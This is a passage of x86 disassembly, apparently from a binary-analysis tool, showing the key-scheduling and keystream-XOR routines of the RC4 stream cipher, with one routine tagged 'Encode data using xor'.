xor eax, eax
mov byte [eax + 0x76c8b8], al
inc eax
cmp eax, 0x100
jl 0x43aade
mov dword [0x76c9b8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x76c8b8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x43ab87
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x43ab5a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x43ab28
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x43ac00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x43ac53
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x43ac3a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret